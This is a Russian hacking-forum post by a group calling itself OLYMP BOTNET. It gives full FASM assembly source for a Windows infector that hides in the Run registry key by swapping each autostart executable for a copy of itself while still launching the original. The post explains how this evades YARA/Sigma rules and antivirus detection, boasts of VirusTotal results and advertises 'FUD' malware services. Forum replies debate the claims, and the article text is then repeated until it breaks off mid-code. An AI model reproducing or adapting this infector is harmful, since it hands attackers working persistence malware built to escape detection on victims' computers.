• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пишем НА АССЕМБЛЕРЕ закрепление через ПОДМЕНУ программ в автозапуске: 1.5 кб инфектор!

OLYMPO

RAID-массив
Забанен
Регистрация
05.06.2025
Сообщения
60
Реакции
21
Пожалуйста, обратите внимание, что пользователь заблокирован
Здравствуйте, уважаемые участники форума XSS! С Вами снова команда OLYMP BOTNET! Сегодня будем писать код :)

Время чтения статьи: 5 минут
Затрачено на написание статьи: 1 час



ВВЕДЕНИЕ

Мы (а точнее, один наш разработчик, автор данной статьи) пишем на ассемблере уже больше 6-ти лет весь свой софт. Ассемблер - невероятно мощный язык программирования, который позволяет писать невероятно маленький код, невероятно гибкий код, и самый необнаруживаемый код. Его возможности безграничны, только с помощью ассемблера можно кратчайшим путём получить 0\72 на VirusTotal, написать самый гибкий шеллкод, писать патчи, крякать, писать невероятно лёгкие и крутые хуки для функций, писать красивые GUI и много чего ещё!...
Но сегодня мы затронем очень важную тему для вредоносов - закрепление. В нынешних реалиях MITRE метки захватывают практически все возможные варианты закрепления на устройстве и помечают это флагом "Persistence", что плохо влияет на билд вредоноса. В WMI уже на залезть, Winlogon грязный, .lnk в shell:startup легко обнаруживается, а \Run в реестре и подавно...

Но что мы заметили... Все Yara\Sigma правила, которые охотятся на автозапуск, построены на СОЗДАНИИ файла, а не на его изменении. Поэтому сегодня мы будем писать код на ассемблере, который будет подменять программы в автозапуске. Приятного чтения!

(Музыка для атмосферы, можете включить во время чтения)



Лучший компилятор ассемблера

Успех выполнения задачи во многом зависит от инструмента. Мы всегда использовали и будем использовать Flat Assembler. Почему именно он? Именно данный компилятор - настоящее отражение независимой разработки на ассемблере. Его разработчик - Томаш Гриштар, писал полностью на ассемблере (TASM), а затем переписал на самого себя (FASM), также разработчик написал на ассемблере полноценный и достаточно удобный редактор кода - FASMW и достаточно много другого инструментария.
Разработчики GAS, NASM и других ассемблеров - на своём же ассемблере НЕ пишут, вместо этого сами они пишут на С или других языках, что достаточно лицемерно. Также GAS, NASM и другие асмсемблеры не способны в кроссплатформенную компиляцию (FASM работает без линковщика, поэтому Вы можете генерировать ELF из-под Windows, и PE из-под Linux), что также урезает удобства. Ну, и соответственно огромный минус - линковщики. Ассемблер должен компилироваться в сыром виде. Структура формата исполняемого файла - не более, чем байты, именно FASM это и реализует. Когда NASM и GAS заставляют использовать огромные линковщики, объектные файлы, скрипты для компиляции и прочий мусор. В общем, ассемблер - это про быструю и лёгкую разработку, поэтому - FASM.


Алгоритм заражения

Как уже было выше сказано, Yara\Sigma правила построены на создании файлов. Но у 99% всех пользователей в автозапуске УЖЕ есть какие-либо программы. Так почему бы нам просто не подменить программу из автозапуска? И, скажу наперёд, это работает и успешно обходит метку "persistence"!

Мы будем читать реестр HKEY_CURRENT_USER, ветку Software\Microsoft\Windows\CurrentVersion\Run, получать значение ключей, которые там находятся (в ключах хранится путь к программе), изменять название файла программы, вместо неё копировать туда наш вредонос и в конфигурацию вредоноса вставлять путь к оригинальной программе (мы же не хотим всё сломать, верно? Поэтому запустим оригинальную программу тоже). Таким образом, получим простейший перехват автозапуска и закрепление и пользователь даже ничего не заметит.

Вот небольшая схемка работы инфектора:
lxIgmwp.png



Как видим, в данном алгоритме, в названии оригинального файла, заменяется последний символ перед расширением на "_", а затем вместо настоящего файла по нужному пути копируется вредоносный код.
У некоторых может появиться вопрос - почему не сделано заражение PE? Ответ прост - потому что обнаруживается антивирусами. Нам нужен чистый от MITRE и максимально легитимный код. Подмена - наш вариант. Идём дальше...



Пишем код на ассемблере

Итак, запускаем Sublime Text (мы используем данный редактор кодаь и вам советуем) и начинаем писать код.
Полный исходник в конце статьи!


Любой код на FASM начинается с объявления формата выходного файла. У нас это 32-х битный PE GUI. Почему 32-х битный? Потому что весит меньше, потому что совместим со старыми системами, и при этом работает на новых системах - золотая серединка.

Код:
format    PE GUI at 0x400000 on '/dev/null'
entry    start
include    'win32a.inc'

Не будем углубляться в точный синтаксис, это не статья по обучению ассемблера. Более подробно почитать можете в официальной документации - https://flatassembler.net/docs.php?article=manual
Но объясним пару моментов. FASM позволяет указать базовый адрес PE. В коде инфектора дальше мы будем вычислять смещение, по которому нам надо будет вставить строку с путём оригинальной программы - для этого желательно указать точный базовый адрес образа, для простоты вычислений. "on '/dev/null' - полностью удаляет DOS-заглушку из PE-формата. Я пишу код на Linux, поэтому у меня это /dev/null, на Windows также есть другие способы для удаления DOS-заглушки. Благодаря этому трюку - вес программы становится ещё меньше на пару сотен байт.

entry - адрес на метку с точкой входа программы.

Далее объявляем переменные времени компиляции, необходимые для обозначения максимальных размером названий ключей и путей к программы из реестра:

VALUEDATA_SIZE = 1024
VALUENAME_SIZE = 256


Самое главное - секции. PE состоит из секций (в ELF Linux - сегменты), в них могут храниться данные или код, а могут - и данные, и код.
Секция выравнивается по определённому размеру, а поэтому разделение кода, импорта, ресурсов и данных на секции - увеличивает вес программы, поэтому мы вам демонстрируем ещё один трюк - будем писать всё в одной секции, это также намного уменьшит вес программы.

Объявляем секцию:

Код:
section    '' readable writeable executable
    start:


И внутри секции размещаем нашу метку на точку входа, соответственно. Флаги секции - readable, writeable, executable. В данной секции будет также размещена структура импорт-таблицы, некоторые могут спросить, почему не указан флаг "import". Ответ - потому что импорт-таблица хранится в DATA_DIRECTORY, то есть это "подсекция" внутри секции. И на самом деле ей флаги не нужны (кроме чтения и записи). Аналогично для ресурсов, TLS и других DATA_DIRECTORY структур - ВСЕ они могут быть объявлены в одной секции и в ЛЮБОМ месте.

Для реализации алгоритма мы будем использовать WinAPI, поэтому в конце секции объявляем импорт-таблицу и импортируем нужные функции:

Код:
data    import
        library    kernel32, 'kernel32.dll',\
            advapi32, 'advapi32.dll',\
            user32, 'user32.dll'
        import    user32,\
            MessageBox, 'MessageBoxA'
        include    'api/advapi32.inc'
        include    'api/kernel32.inc'
    end    data


Здесь я могу также подметить и само преимущество FASM - импорт-таблица генерируется самим компилятором, без внешних линковщиков. Именно поэтому код может компилироваться кроссплатформенно - компилятор не требует объектников (kernel32.lib и др.), он просто записывает статические структуры в PE-формат, которые вдальнейшем импортирует PE-загрузчик Windows. Этим и прекрасен выбранный компилятор - простота и минималистичность.

ПОСЛЕ импорт-таблицы объявим переменную, в которой вдальнейшем будет храниться путь к оригинальной программе:
infectedWith:

А затем в начале (после start) начинаем писать первые строчки кода - проверяем, была ли программа инфицирована, или же это несанкционированный запуск:

Код:
cmp    dword[infectedWith], 0
je    .infect
; ...
; Исполнение из автозапуска
.infect:
; Не из автозапуска, надо заражать



Забегая вперёд, напишем сразу реализацию в случае запуска с автозапуска - просто выведем MessageBox и запустим оригинальную программу через WinExec:
Код:
cmp    dword[infectedWith], 0
je    .infect

push    0
call    @f
db    'OLYMPO!', 0
@@:
call    @f
db    'OLYMPO!', 0
@@:
push    0
call    dword[MessageBox]

push    SW_HIDE
push    infectedWith
call    dword[WinExec]

jmp    .exit
.infect:



Готово! В коде вы также можете наблюдать ещё один трюк - call @f для локальных статических строк. Дабы не объявлять кучу переменных в коде, таким способом мы можем объявлять "быстрые" строки. call @f - положит в стек адрес на следующие байты и прыгнет на метку @@. Таким образом, в стек положится адрес на строку. Красиво, не так ли?

Переходим к главной части - инфицирование автозапуска.

Для начала, выделим из стека место под локальные переменные:

Код:
sub    esp, VALUEDATA_SIZE+VALUENAME_SIZE+VALUEDATA_SIZE
mov    esi, esp
lea    edi, dword[esp+VALUEDATA_SIZE]
xor    ebx, ebx

В esi у нас хранится адрес на ПУТЬ к программе. В edi - адрес на название ключа. Дополнительно выделяем ещё VALUEDATA_SIZE - под второй путь к программе, изменённый (для подмены), а в ebx - счётчик для перечисления ключей в реестре.

Открываем реестр по пути автозапуска:

Код:
push    hKey
push    KEY_READ
push    0
call    @f
db    'Software\Microsoft\Windows\CurrentVersion\Run', 0
@@:
push    HKEY_CURRENT_USER
call    dword[RegOpenKeyExA]
test    eax, eax
jnz    .exit

В случае неудачного открытия - просто закрываем программу. Дальше пишем цикл с хождением по ключам:
Код:
.infectItems:
push    VALUENAME_SIZE
mov    ecx, esp

push    VALUEDATA_SIZE
push    esp
push    esi
push    infectedWith
push    0
push    ecx
push    edi
push    ebx
push    dword[hKey]
call    dword[RegEnumValue]
pop    ebp
add    esp, 4

test    eax, eax
jnz    .noMoreItems

; INFECT ...

add ebx, 1
jmp .infectItems
.noMoreItems:

push    dword[hKey]
call    dword[RegCloseKey]

add    esp, VALUEDATA_SIZE+VALUENAME_SIZE+VALUEDATA_SIZE
.exit:
call    dword[ExitProcess]

Тут мы используем функцию RegEnumValue WinAPI для перечисления ключей. После окончания перечисления - выходим на метку .noMoreItems.

А теперь реализуем алгоритм заражения. Полный код цикла:

Код:
.infectItems:
push    VALUENAME_SIZE
mov    ecx, esp


push    VALUEDATA_SIZE
push    esp
push    esi
push    infectedWith
push    0
push    ecx
push    edi
push    ebx
push    dword[hKey]
call    dword[RegEnumValue]
pop    ebp
add    esp, 4


test    eax, eax
jnz    .noMoreItems

1. Проверяем путь файла. В ebp у нас лежит длина значения ключа (путь к программе). По esi+ebp - мы читаем конец строки. Мы проверяем, чтобы программа была .exe, и чтобы у неё имя файла уже не заканчивалось с "_" - дабы не сломать алгоритм:
Код:
cmp    dword[esi+ebp-5], '.exe'
jne    .skip
cmp    dword[esi+ebp-6], '_'
je    .skip


(Генерируем новое название файла - подменяем последний символ на "_"):
Код:
push    edi
lea    edi, dword[esp+4+VALUEDATA_SIZE+VALUENAME_SIZE]
push    esi
mov    ecx, ebp
rep    movsb
pop    esi
mov    byte[edi-6], '_'
pop    edi

2. Изменяем название оригинального файла, подставляем в последний символ "_", и переименовываем (функция MoveFile):
Код:
lea    eax, dword[esp+VALUEDATA_SIZE+VALUENAME_SIZE]
push    eax
push    esi
call    dword[MoveFile]
cmp    eax, 1
jne    .skip


3. Получаем путь к самому себе (GetModuleFileName) и копируемся вместо оригинальной программы (CopyFile), под названием оригинальной программы:

Код:
sub    esp, 1024
mov    eax, esp
push    1024
push    eax
push    0
call    dword[GetModuleFileName]

mov    eax, esp
push    0
push    esi
push    eax
call    dword[CopyFile]
add    esp, 1024


4. Открываем нашу скопированную копию (CreateFile), устанавливаем позицию на переменную infectedWith (SetFilePointer) и записываем туда путь к оригинальной программе (WriteFile):
Код:
push    edi

push    0
push    0
push    OPEN_EXISTING
push    0
push    0
push    GENERIC_WRITE
push    esi
call    dword[CreateFile]
cmp    eax, INVALID_HANDLE_VALUE
je    .failedWrite
mov    edi, eax

push    FILE_BEGIN
push    0
lea    eax, dword[RVA infectedWith-0xE00]
push    eax
push    edi
call    dword[SetFilePointer]

push    0
push    0
push    ebp
push    esi
push    edi
call    dword[WriteFile]

push    edi
call    dword[CloseHandle]
.failedWrite:

pop    edi

.skip:
add    ebx, 1
jmp    .infectItems


.noMoreItems:
push    dword[hKey]
call    dword[RegCloseKey]


add    esp, VALUEDATA_SIZE+VALUENAME_SIZE+VALUEDATA_SIZE
.exit:
call    dword[ExitProcess]


5. Закрываем дескриптор на свою копию (CloseHandle)
6. Повторяем это со всеми ключами
По окончанию - выравниваем стек (на самом деле необязательно) и выходим (ExitProcess).

Код:
format    PE GUI at 0x400000 on '/dev/null'
entry    start
include    'win32a.inc'

VALUEDATA_SIZE = 1024
VALUENAME_SIZE = 256

section    '' readable writeable executable
    
    start:
        cmp    dword[infectedWith], 0
        je    .infect


        push    0
        call    @f
        db    'OLYMPO!', 0
        @@:
        call    @f
        db    'OLYMPO!', 0
        @@:
        push    0
        call    dword[MessageBox]


        push    SW_HIDE
        push    infectedWith
        call    dword[WinExec]

        jmp    .exit
        .infect:

        sub    esp, VALUEDATA_SIZE+VALUENAME_SIZE+VALUEDATA_SIZE
        mov    esi, esp
        lea    edi, dword[esp+VALUEDATA_SIZE]
        xor    ebx, ebx

        push    hKey
        push    KEY_READ
        push    0
        call    @f
        db    'Software\Microsoft\Windows\CurrentVersion\Run', 0
        @@:
        push    HKEY_CURRENT_USER
        call    dword[RegOpenKeyExA]
        test    eax, eax
        jnz    .exit

        .infectItems:
        push    VALUENAME_SIZE
        mov    ecx, esp

        push    VALUEDATA_SIZE
        push    esp
        push    esi
        push    infectedWith
        push    0
        push    ecx
        push    edi
        push    ebx
        push    dword[hKey]
        call    dword[RegEnumValue]
        pop    ebp
        add    esp, 4

        test    eax, eax
        jnz    .noMoreItems



        cmp    dword[esi+ebp-5], '.exe'
        jne    .skip
        cmp    dword[esi+ebp-6], '_'
        je    .skip

        push    edi
        lea    edi, dword[esp+4+VALUEDATA_SIZE+VALUENAME_SIZE]
        push    esi
        mov    ecx, ebp
        rep    movsb
        pop    esi
        mov    byte[edi-6], '_'
        pop    edi


        lea    eax, dword[esp+VALUEDATA_SIZE+VALUENAME_SIZE]
        push    eax
        push    esi
        call    dword[MoveFile]
        cmp    eax, 1
        jne    .skip

        sub    esp, 1024
        mov    eax, esp
        push    1024
        push    eax
        push    0
        call    dword[GetModuleFileName]


        mov    eax, esp
        push    0
        push    esi
        push    eax
        call    dword[CopyFile]
        add    esp, 1024



        push    edi

        push    0
        push    0
        push    OPEN_EXISTING
        push    0
        push    0
        push    GENERIC_WRITE
        push    esi
        call    dword[CreateFile]
        cmp    eax, INVALID_HANDLE_VALUE
        je    .failedWrite
        mov    edi, eax


        push    FILE_BEGIN
        push    0
        lea    eax, dword[RVA infectedWith-0xE00]
        push    eax
        push    edi
        call    dword[SetFilePointer]


        push    0
        push    0
        push    ebp
        push    esi
        push    edi
        call    dword[WriteFile]


        push    edi
        call    dword[CloseHandle]
        .failedWrite:

        pop    edi

        .skip:
        add    ebx, 1
        jmp    .infectItems

        .noMoreItems:

        push    dword[hKey]
        call    dword[RegCloseKey]



        add    esp, VALUEDATA_SIZE+VALUENAME_SIZE+VALUEDATA_SIZE
        .exit:
        call    dword[ExitProcess]

    hKey:        dd    0

    data    import

        library    kernel32, 'kernel32.dll',\
            advapi32, 'advapi32.dll',\
            user32, 'user32.dll'

        import    user32,\
            MessageBox, 'MessageBoxA'

        include    'api/advapi32.inc'
        include    'api/kernel32.inc'

    end    data



    infectedWith:

Вес нашего инфектора - 1.5 килобайта. Считаю, что это отличный результат:

gevQYyT.png



СКАНИРУЕМ НА VIRUSTOTAL

А теперь самое интересное - проверим, пропала ли метка "persistence" на VirusTotal. Проверяем свои образцы ИСКЛЮЧИТЕЛЬНО на VirusTotal, мы же не девочки :)
И видим следующее - метки "persistence" нет!


RTK80hu.png



lbZDBbv.png


Видим 18 обнаружений, но ничего. Немного поправим код - перепишем его на шеллкод и сделаем инъекицю внутрь легитимной программы.
Получаем 0 и отсутствие метки "persistence"! Идеальнейшая чистота. Ассемблер - СИЛА!


iw9rN2Y.png


ЗАКЛЮЧЕНИЕ

В заключение могу лишь добавить предложения по улучшению кода. Можно добавить также инфицирование внутри "shell:startup". А при наличии прав админа - можно также затронуть пути в HKEY_LOCAL_MACHINE. Также можно прочитать часто используемые программы, и заразить их. Всё это в сумме даст мощное закрепление на устройстве без триггеров антивирусов.
Спасибо за прочтение! Дайте знать, если Вам нравятся наши статьи.


OLYMP - лучшие FUD продукты :)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Видим 18 обнаружений, но ничего. Немного поправим код - перепишем его на шеллкод и сделаем инъекицю внутрь легитимной программы.
Получаем 0 и отсутствие метки "persistence"! Идеальнейшая чистота. Ассемблер - СИЛА!
и получаем 72 мегабайта..
 
Пожалуйста, обратите внимание, что пользователь заблокирован
и получаем 72 мегабайта..
Такая цена у FUD. Не вижу проблем, если такая программа обходит все антивирусы, Smart Screen App, Defender полностью в рантайме и скантайме, и все сканеры браузеров. А вы думаете, что сможете обойти машинный анализ в 1.5 килобайта? Не получится (заранее огорчу). Нейросетям нужно много легитимных сигнатур, информация о файле, иконки, сертификаты и огромный багаж информации в программе - вы это не сделаете вручную уж точно. А ассемблер позволяет сделать инъекцию.
 
только с помощью ассемблера можно кратчайшим путём получить 0\72 на VirusTotal, написать самый гибкий шеллкод, писать патчи, крякать, писать невероятно лёгкие и крутые хуки для функций, писать красивые GUI и много чего ещё!...
Твоё утверждение в истине неверно, привет из 2010)) Разработка под винду на асм неактуальна уже как 100 лет ввиду сложности поддержки такого кода, необходимости написания разного кода под разные архитектуры и т.д. Иногда бывает нужда отдельные юниты на асме написать, не более. По детектам картина тоже будет плачевной, код который сгенерит трастовый компиль будет в любом случае чище чем то, что ты напишешь на фасме. И актуализировать (вычистить) этот код будет проще за счет абстракций, предоставляемых языком
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Твоё утверждение в истине неверно, привет из 2010)) Разработка под винду на асм неактуальна уже как 100 лет ввиду сложности, необходимости написания разного кода под разные архитектуры и т.д. Иногда бывает нужда отдельные юниты на асме написать, не более. По детектам картина тоже будет плачевной, код который сгенерит трастовый компиль будет в любом случае чище чем то, что ты напишешь на фасме. И актуализировать (вычистить) этот код будет проще за счет абстракций, предоставляемых языком


Хорошо, считайте так. Мы будем продолжать писать на ассемблере и легчайше выбивать 0\72 на VT в полный FUD с обходом всех антивирусов для нашего кода на ассемблере ;)
Увы, многие пока не могут осилить ассемблер, поэтому такое мнение сложилось. Но это пока только нам на руку.

Всё, что написано в статье - чистейшая истина. Наш программист на ассемблере пишет всё, в том числе красивые GUI. Увы, ввиду конфеденциальности информации не могу показать это, но GUI такое даже многие на С не смогут написать (молчу про другие языки вообще). Да ещё и с таким весом маленьким...

Мы эту информацию не из воздуха берём. А из реального опыта. Знаем, что пишем. Если мы пишем, что на ассемблере всё легко и идеально реализуется - значит это так и есть, уж поверьте.
 
Хорошо, считайте так. Мы будем продолжать писать на ассемблере и легчайше выбивать 0\72 на VT в полный FUD с обходом всех антивирусов для нашего кода на ассемблере ;)
Увы, многие пока не могут осилить ассемблер, поэтому такое мнение сложилось. Но это пока только нам на руку.

Всё, что написано в статье - чистейшая истина. Наш программист на ассемблере пишет всё, в том числе красивые GUI. Увы, ввиду конфеденциальности информации не могу показать это, но GUI такое даже многие на С не смогут написать (молчу про другие языки вообще). Да ещё и с таким весом маленьким...

Мы эту информацию не из воздуха берём. А из реального опыта. Знаем, что пишем. Если мы пишем, что на ассемблере всё легко и идеально реализуется - значит это так и есть, уж поверьте.
Как стилизация ГУИ связана с языком реализации? И зачем вообще писать гуи на ассемблере? Есть специализированные высокоуровневые инструменты, позволяющие быстро приготовить красивый гуи с минимальными времязатратами. А по обходу детектов и тд и тп пока что от вас только пух на вентилятор, сможете показать что то реальное - снимаю шляпу
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Как стилизация ГУИ связана с языком реализации? И зачем вообще писать гуи на ассемблере? Есть специализированные высокоуровневые инструменты, позволяющие быстро приготовить красивый гуи с минимальными времязатратами. А по обходу детектов и тд и тп пока что от вас только пух на вентилятор, сможете показать что то реальное - снимаю шляпу
В конце статьи скриншот с 0\72 для кого? Хеш замазали, чтобы умники не снизили репутацию файла на VT насильно.
Нам нечего доказывать, опять же. Кто захочет проверить слова, тот знает, где нас найти, выдадим тестовый файлик, сами зальёте на VT, мы не против абсолютно) легчайше билдик почистим снова в FUD.

Зачем писать на ассемблере GUI? Потому что в WinAPI покраска элементов реализуется хуками. В высокоуровневых языках вы бы использовали minhook или прочий мусор с огромным весом. Большинство на С просто не может даже реализовать хороший GUI на WinAPI, поэтому скорее будет прибегать к DirectX, ImGUI, Qt и прочим гигабайтным решениям. В ассемблере же вы прям из кода можете байтами оперировать и хукать, причём максимально легко и просто. Хуки на ассемблере - это что-то прям сверхпонятное и сверхудобное. В целом, я могу только процитировать слова нашего разработчика - "высокоуровневые языки это мусор". Извините, нам нечего доказывать.
Могу только поблагодарить за чтение статьи <3

Я не думаю, что это хорошее место для споров про языки вообще. Но действия говорят следующее - нет ни одного проекта на высокоуровневом языке, который был бы действительно FUD и 0 на VT. Ни одного. Вот так как-то...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
нет ни одного проекта на высокоуровневом языке, который был бы действительно FUD и 0 на VT. Ни одного.
немного неуместно сравнивать рабочие решения, которые находятся в паблике и активно используются юзерами с только что написанным билдом на ассемблере. закриптуй свой файл и протестируй его в работе, а результаты отрази в статье (желательно еще с сравнением аналогов, написанных на других языках) и только потом можно будет выдать вердикт. а пока это выглядит как скрытая реклама своих услуг на самом деле.

OLYMP - лучшие FUD продукты :)
upd: это и на самом деле реклама. жаль.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Мы (а точнее, один наш разработчик, автор данной статьи) пишем на ассемблере уже больше 6-ти лет весь свой софт
Сочувствую.

и получаем 72 мегабайта
Я помню в начале 2010ых был один опередивший свое время господин, который просто напихивал 100мб мусора в экзешник, а потом хвастался, что его элитная малварь никем не палится. Похоже, действительно все новое - это хорошо забытое старое. Это все забавно, конечно, но иной раз по локальной сети пару мегабайт не прокачаешь, а тут, эх...

В ассемблере же вы прям из кода можете байтами оперировать и хукать, причём максимально легко и просто.
Ровно также, как и в Си, С++, Rust, D, да даже на C#. Рекомендуется к прочтению вашему драгоценному разработчику: https://xss.pro/threads/76417/

В целом, я могу только процитировать слова нашего разработчика - "высокоуровневые языки это мусор".
Вот с этими словами какой предметный разговор возможен? В определенный момент синдром Даннинга-Крюгера обычно проходит у людей, может быть, после этого предметный разговор будет возможен.
 
Последнее редактирование:
Здравствуйте, уважаемые участники форума XSS! С Вами снова команда OLYMP BOTNET! Сегодня будем писать код :)

Время чтения статьи: 5 минут
Затрачено на написание статьи: 1 час



ВВЕДЕНИЕ

Мы (а точнее, один наш разработчик, автор данной статьи) пишем на ассемблере уже больше 6-ти лет весь свой софт. Ассемблер - невероятно мощный язык программирования, который позволяет писать невероятно маленький код, невероятно гибкий код, и самый необнаруживаемый код. Его возможности безграничны, только с помощью ассемблера можно кратчайшим путём получить 0\72 на VirusTotal, написать самый гибкий шеллкод, писать патчи, крякать, писать невероятно лёгкие и крутые хуки для функций, писать красивые GUI и много чего ещё!...
Но сегодня мы затронем очень важную тему для вредоносов - закрепление. В нынешних реалиях MITRE метки захватывают практически все возможные варианты закрепления на устройстве и помечают это флагом "Persistence", что плохо влияет на билд вредоноса. В WMI уже на залезть, Winlogon грязный, .lnk в shell:startup легко обнаруживается, а \Run в реестре и подавно...

Но что мы заметили... Все Yara\Sigma правила, которые охотятся на автозапуск, построены на СОЗДАНИИ файла, а не на его изменении. Поэтому сегодня мы будем писать код на ассемблере, который будет подменять программы в автозапуске. Приятного чтения!

(Музыка для атмосферы, можете включить во время чтения)


Лучший компилятор ассемблера

Успех выполнения задачи во многом зависит от инструмента. Мы всегда использовали и будем использовать Flat Assembler. Почему именно он? Именно данный компилятор - настоящее отражение независимой разработки на ассемблере. Его разработчик - Томаш Гриштар, писал полностью на ассемблере (TASM), а затем переписал на самого себя (FASM), также разработчик написал на ассемблере полноценный и достаточно удобный редактор кода - FASMW и достаточно много другого инструментария.
Разработчики GAS, NASM и других ассемблеров - на своём же ассемблере НЕ пишут, вместо этого сами они пишут на С или других языках, что достаточно лицемерно. Также GAS, NASM и другие асмсемблеры не способны в кроссплатформенную компиляцию (FASM работает без линковщика, поэтому Вы можете генерировать ELF из-под Windows, и PE из-под Linux), что также урезает удобства. Ну, и соответственно огромный минус - линковщики. Ассемблер должен компилироваться в сыром виде. Структура формата исполняемого файла - не более, чем байты, именно FASM это и реализует. Когда NASM и GAS заставляют использовать огромные линковщики, объектные файлы, скрипты для компиляции и прочий мусор. В общем, ассемблер - это про быструю и лёгкую разработку, поэтому - FASM.


Алгоритм заражения

Как уже было выше сказано, Yara\Sigma правила построены на создании файлов. Но у 99% всех пользователей в автозапуске УЖЕ есть какие-либо программы. Так почему бы нам просто не подменить программу из автозапуска? И, скажу наперёд, это работает и успешно обходит метку "persistence"!

Мы будем читать реестр HKEY_CURRENT_USER, ветку Software\Microsoft\Windows\CurrentVersion\Run, получать значение ключей, которые там находятся (в ключах хранится путь к программе), изменять название файла программы, вместо неё копировать туда наш вредонос и в конфигурацию вредоноса вставлять путь к оригинальной программе (мы же не хотим всё сломать, верно? Поэтому запустим оригинальную программу тоже). Таким образом, получим простейший перехват автозапуска и закрепление и пользователь даже ничего не заметит.

Вот небольшая схемка работы инфектора:
lxIgmwp.png



Как видим, в данном алгоритме, в названии оригинального файла, заменяется последний символ перед расширением на "_", а затем вместо настоящего файла по нужному пути копируется вредоносный код.
У некоторых может появиться вопрос - почему не сделано заражение PE? Ответ прост - потому что обнаруживается антивирусами. Нам нужен чистый от MITRE и максимально легитимный код. Подмена - наш вариант. Идём дальше...



Пишем код на ассемблере

Итак, запускаем Sublime Text (мы используем данный редактор кодаь и вам советуем) и начинаем писать код.
Полный исходник в конце статьи!


Любой код на FASM начинается с объявления формата выходного файла. У нас это 32-х битный PE GUI. Почему 32-х битный? Потому что весит меньше, потому что совместим со старыми системами, и при этом работает на новых системах - золотая серединка.

Код:
format    PE GUI at 0x400000 on '/dev/null'
entry    start
include    'win32a.inc'

Не будем углубляться в точный синтаксис, это не статья по обучению ассемблера. Более подробно почитать можете в официальной документации - https://flatassembler.net/docs.php?article=manual
Но объясним пару моментов. FASM позволяет указать базовый адрес PE. В коде инфектора дальше мы будем вычислять смещение, по которому нам надо будет вставить строку с путём оригинальной программы - для этого желательно указать точный базовый адрес образа, для простоты вычислений. "on '/dev/null' - полностью удаляет DOS-заглушку из PE-формата. Я пишу код на Linux, поэтому у меня это /dev/null, на Windows также есть другие способы для удаления DOS-заглушки. Благодаря этому трюку - вес программы становится ещё меньше на пару сотен байт.

entry - адрес на метку с точкой входа программы.

Далее объявляем переменные времени компиляции, необходимые для обозначения максимальных размером названий ключей и путей к программы из реестра:

VALUEDATA_SIZE = 1024
VALUENAME_SIZE = 256


Самое главное - секции. PE состоит из секций (в ELF Linux - сегменты), в них могут храниться данные или код, а могут - и данные, и код.
Секция выравнивается по определённому размеру, а поэтому разделение кода, импорта, ресурсов и данных на секции - увеличивает вес программы, поэтому мы вам демонстрируем ещё один трюк - будем писать всё в одной секции, это также намного уменьшит вес программы.

Объявляем секцию:

Код:
section    '' readable writeable executable
    start:


И внутри секции размещаем нашу метку на точку входа, соответственно. Флаги секции - readable, writeable, executable. В данной секции будет также размещена структура импорт-таблицы, некоторые могут спросить, почему не указан флаг "import". Ответ - потому что импорт-таблица хранится в DATA_DIRECTORY, то есть это "подсекция" внутри секции. И на самом деле ей флаги не нужны (кроме чтения и записи). Аналогично для ресурсов, TLS и других DATA_DIRECTORY структур - ВСЕ они могут быть объявлены в одной секции и в ЛЮБОМ месте.

Для реализации алгоритма мы будем использовать WinAPI, поэтому в конце секции объявляем импорт-таблицу и импортируем нужные функции:

Код:
data    import
        library    kernel32, 'kernel32.dll',\
            advapi32, 'advapi32.dll',\
            user32, 'user32.dll'
        import    user32,\
            MessageBox, 'MessageBoxA'
        include    'api/advapi32.inc'
        include    'api/kernel32.inc'
    end    data


Здесь я могу также подметить и само преимущество FASM - импорт-таблица генерируется самим компилятором, без внешних линковщиков. Именно поэтому код может компилироваться кроссплатформенно - компилятор не требует объектников (kernel32.lib и др.), он просто записывает статические структуры в PE-формат, которые вдальнейшем импортирует PE-загрузчик Windows. Этим и прекрасен выбранный компилятор - простота и минималистичность.

ПОСЛЕ импорт-таблицы объявим переменную, в которой вдальнейшем будет храниться путь к оригинальной программе:
infectedWith:

А затем в начале (после start) начинаем писать первые строчки кода - проверяем, была ли программа инфицирована, или же это несанкционированный запуск:

Код:
cmp    dword[infectedWith], 0
je    .infect
; ...
; Исполнение из автозапуска
.infect:
; Не из автозапуска, надо заражать



Забегая вперёд, напишем сразу реализацию в случае запуска с автозапуска - просто выведем MessageBox и запустим оригинальную программу через WinExec:
Код:
cmp    dword[infectedWith], 0
je    .infect

push    0
call    @f
db    'OLYMPO!', 0
@@:
call    @f
db    'OLYMPO!', 0
@@:
push    0
call    dword[MessageBox]

push    SW_HIDE
push    infectedWith
call    dword[WinExec]

jmp    .exit
.infect:



Готово! В коде вы также можете наблюдать ещё один трюк - call @f для локальных статических строк. Дабы не объявлять кучу переменных в коде, таким способом мы можем объявлять "быстрые" строки. call @f - положит в стек адрес на следующие байты и прыгнет на метку @@. Таким образом, в стек положится адрес на строку. Красиво, не так ли?

Переходим к главной части - инфицирование автозапуска.

Для начала, выделим из стека место под локальные переменные:

Код:
sub    esp, VALUEDATA_SIZE+VALUENAME_SIZE+VALUEDATA_SIZE
mov    esi, esp
lea    edi, dword[esp+VALUEDATA_SIZE]
xor    ebx, ebx

В esi у нас хранится адрес на ПУТЬ к программе. В edi - адрес на название ключа. Дополнительно выделяем ещё VALUEDATA_SIZE - под второй путь к программе, изменённый (для подмены), а в ebx - счётчик для перечисления ключей в реестре.

Открываем реестр по пути автозапуска:

Код:
push    hKey
push    KEY_READ
push    0
call    @f
db    'Software\Microsoft\Windows\CurrentVersion\Run', 0
@@:
push    HKEY_CURRENT_USER
call    dword[RegOpenKeyExA]
test    eax, eax
jnz    .exit

В случае неудачного открытия - просто закрываем программу. Дальше пишем цикл с хождением по ключам:
Код:
.infectItems:
push    VALUENAME_SIZE
mov    ecx, esp

push    VALUEDATA_SIZE
push    esp
push    esi
push    infectedWith
push    0
push    ecx
push    edi
push    ebx
push    dword[hKey]
call    dword[RegEnumValue]
pop    ebp
add    esp, 4

test    eax, eax
jnz    .noMoreItems

; INFECT ...

add ebx, 1
jmp .infectItems
.noMoreItems:

push    dword[hKey]
call    dword[RegCloseKey]

add    esp, VALUEDATA_SIZE+VALUENAME_SIZE+VALUEDATA_SIZE
.exit:
call    dword[ExitProcess]

Тут мы используем функцию RegEnumValue WinAPI для перечисления ключей. После окончания перечисления - выходим на метку .noMoreItems.

А теперь реализуем алгоритм заражения. Полный код цикла:

Код:
.infectItems:
push    VALUENAME_SIZE
